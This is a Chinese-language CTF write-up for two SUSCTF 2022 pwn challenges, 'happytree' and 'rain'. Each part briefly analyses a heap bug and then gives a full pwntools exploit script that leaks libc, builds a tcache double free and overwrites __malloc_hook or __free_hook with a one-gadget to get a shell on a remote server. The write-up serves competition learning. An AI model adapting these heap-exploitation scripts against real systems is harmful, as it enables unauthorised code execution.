Happytree

题目附件

https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/happytree.zip

分析

漏洞点在C++的new和delete不对堆空间进行初始化,并且delete逻辑中存在指针未清零的情况,而且存在有符号整数和无符号整数混淆,构造payload泄露main_arena和堆地址后,利用libc-2.27构造tcache的doublefree,最后new出__malloc_hook地址,写入ogg获得shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from pwn import *
import ctypes
import time

# io = process(['./ld-2.27.so','./happytree'], env={'LD_PRELOAD': './libc.so.6'})
io = remote('124.71.147.225', 9999)
elf = ELF('./happytree')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

idx = []

def add(data,content):
global root
io.sendlineafter('cmd> ','1')
io.sendlineafter("data: ",str(data))
io.sendlineafter("content: ",content)
idx.append(data)

def add1(data,content):
io.sendlineafter('cmd> ','1')
io.sendlineafter("data: ",str(data))
io.sendafter("content: ",content)
idx.append(data)

def add2(data,content):
io.sendlineafter('cmd> ','1')
io.sendafter("data: ",str(data))

def free(data):
io.sendlineafter('cmd> ','2')
io.sendlineafter("data: ",str(data))
if data in idx:
del idx[idx.index(data)]

def show(data):
io.sendlineafter('cmd> ','3')
io.sendlineafter("data: ",str(data))

read_got = elf.got['read']
read_plt = elf.plt['read']

def to_size(size):
return (ctypes.c_int(0xffffff00 | size)).value

def inv(x):
return ctypes.c_int(x).value

# add(0x80 | 0x200, 'aaaa')
# add(0x80 | 0x100, 'aaaa')
# add(0x80 | 0x300, 'aaaa')
# free(0x80 | 0x200)
# for i in range(8):
add(inv(0x80 | (0xfff00000)), 'aaaa')
add(0x80 | (1*0x100), 'aaaa')
add(0x80 | (2*0x100), 'aaaa')
add(0x80 | (3*0x100), 'aaaa')
add(0x80 | (4*0x100), 'aaaa')
add(0x80 | (5*0x100), 'aaaa')
add(0x80 | (6*0x100), 'aaaa')
add(0x80 | (7*0x100), 'aaaa')
add(0x80 | (8*0x100), 'aaaa')
# add(0x80 | (9*0x100), 'aaaa')
# add(0x80 | (10*0x100), 'aaaa')

add(inv(0x80 | (0xff000000)), 'aaaa')

# free(0x80 | (10*0x100))
# free(0x80 | (8*0x100))
free(0x80 | (8*0x100))
free(0x80 | (7*0x100))
free(0x80 | (6*0x100))
free(0x80 | (5*0x100))
free(0x80 | (4*0x100))
free(0x80 | (3*0x100))
free(0x80 | (2*0x100))
free(0x80 | (1*0x100))

add(inv(0x80 | 0xffff0100), 'aaaa')
add(inv(0x80 | 0xffff0200), 'aaaa')
add(inv(0x80 | 0xffff0300), 'aaaa')
add(inv(0x80 | 0xffff0400), 'aaaa')
add(inv(0x80 | 0xffff0500), 'aaaa')
add(inv(0x80 | 0xffff0600), 'aaaa')
add(inv(0x80 | 0xffff0700), 'aaaa')
# show(0x80 | 0x700)
# gdb.attach(io)

add1(inv(0x80 | 0xffff0800), 'a'*8)
show(inv(0x80 | 0xffff0800))
io.recvuntil('content: aaaaaaaa')
inp = io.recvuntil('\x7f').ljust(8, '\x00')
inp = u64(inp)
log.info(hex(inp))
main_arena = inp - 96
log.info(hex(main_arena))
libc_base = main_arena - 0x00003EBC40
log.info(hex(libc_base))

free(inv(0x80 | 0xffff0700))
free(inv(0x80 | 0xffff0800))
add(0x20 | 0x100, 'a'*23)
show(0x20 | 0x100)

io.recvuntil('\n')
hp = io.recvuntil('\n', drop=True).ljust(8, '\x00')
hp = u64(hp)
log.info(hex(hp))

free(0x20 | 0x100)
add(inv(0x80 | 0xf0000000), 'aaaa')
add(inv(0x80 | 0xffff0700), 'aaaa')
free(inv(0x80 | 0xf0000000))
free(0)

ogg = [0x4f365,0x4f3c2,0x10a45c]

malloc_hook = libc_base + libc.sym['__malloc_hook']
p = p64(malloc_hook)
add1(0x80 | ((hp - (hp & 0xff)) & 0xffffffff), p)
print hex(0x80 | ((hp - (hp & 0xff)) & 0xffffffff))

time.sleep(4)
add1(0x80 | 0x100, 'aaaa')
p = p64(ogg[2] + libc_base)
add1(0x80 | 0x5000, p)
# gdb.attach(io)
add2(0x80 | 0x6000, p)
# free(inv(0x80 | 0xffff0400))

# print idx



# add(to_size(0x80 | 0x100))

io.interactive()
# print hex(to_size(10))

rain

题目附件

https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/rain.zip

分析

当realloc(ptr, 0)时,函数返回null,v7==0过不了if判断,故不会将指针清零,可以构造doublefree,利用doublefree和printf%s泄露在bss段上的IO_2_1_stdout地址,即可知道libc基址,最后向__free_hook写入ogg即可getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *

context.log_level='DEBUG'
# io = process(['./ld-2.27.so','./rain'], env={'LD_PRELOAD': './libc.so.6', "TERM":"xterm"})
io = remote('124.71.185.75',9999)

e = ELF('./rain')
libc = ELF('./libc.so.6')

def frame(sh, sw, font, color, rainfall, table1):
p = p32(sh)
p += p32(sw)
p += p8(font)
p += p8(color)
p += p32(rainfall)
p += p32(0xdeadbeaf)
p += table1
return p


def config(fra):
io.sendlineafter('ch> ', '1')
io.sendafter('FRAME> ', fra)


def show():
io.sendlineafter('ch> ', '2')

def rain():
context.log_level='INFO'
io.sendlineafter('ch> ', '3')
io.recvuntil('\n')
context.log_level='debug'
p = frame(0x30,0x30,3,4,1,'a'*0x20)
config(p)
p = frame(0x30,0x30,3,4,1,'')
config(p)
p = frame(0x30,0x30,3,4,1,'')
config(p)

malloc_got = e.got['malloc']
log.info(hex(malloc_got))

p1 = p64(0x00000603000)
p1 += 'a'*(0x20 - len(p1))
p = frame(0x30,0x30,3,4,1, p1)
config(p)
rain()
# show()

p = frame(0x30,0x30,3,4,1, 'a'*0x20)
config(p)
show()

io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
inp = io.recvuntil('\n', drop=True).ljust(8, '\x00')
inp = u64(inp)
log.info("_IO_2_1_stdout_:"+hex(inp))
libc_base = inp - libc.sym['_IO_2_1_stdout_']
log.info("libc_base:"+hex(libc_base))

ogg = [0x4f365,0x4f3c2,0x10a45c]
malloc_hook = libc_base + libc.sym['__free_hook']
log.info("malloc_hook:"+hex(malloc_hook))


rain()
p = frame(0x40,0x40,3,4,1,'a'*0x70)
config(p)
p = frame(0x40,0x40,3,4,1,'')
config(p)
p = frame(0x40,0x40,3,4,1,'')
config(p)

p1 = p64(malloc_hook)
p1 += 'a'*(0x70 - len(p1))
p = frame(0x30,0x30,3,4,1, p1)
config(p)
rain()

p = frame(0x30,0x30,3,4,1, 'a'*0x70)
config(p)
rain()

log.info("ogg:"+hex(ogg[0]+libc_base))
p1 = p64(ogg[1]+libc_base) * (0x70 // 8)
p = frame(0x1,0x1,3,4,1, p1)
# gdb.attach(io)
config(p)
p = frame(0x1,0x1,3,4,1,'')
config(p)

# gdb.attach(io)



io.interactive()

本文采用CC-BY-SA-4.0协议,转载请注明出处
作者: Csome
Hits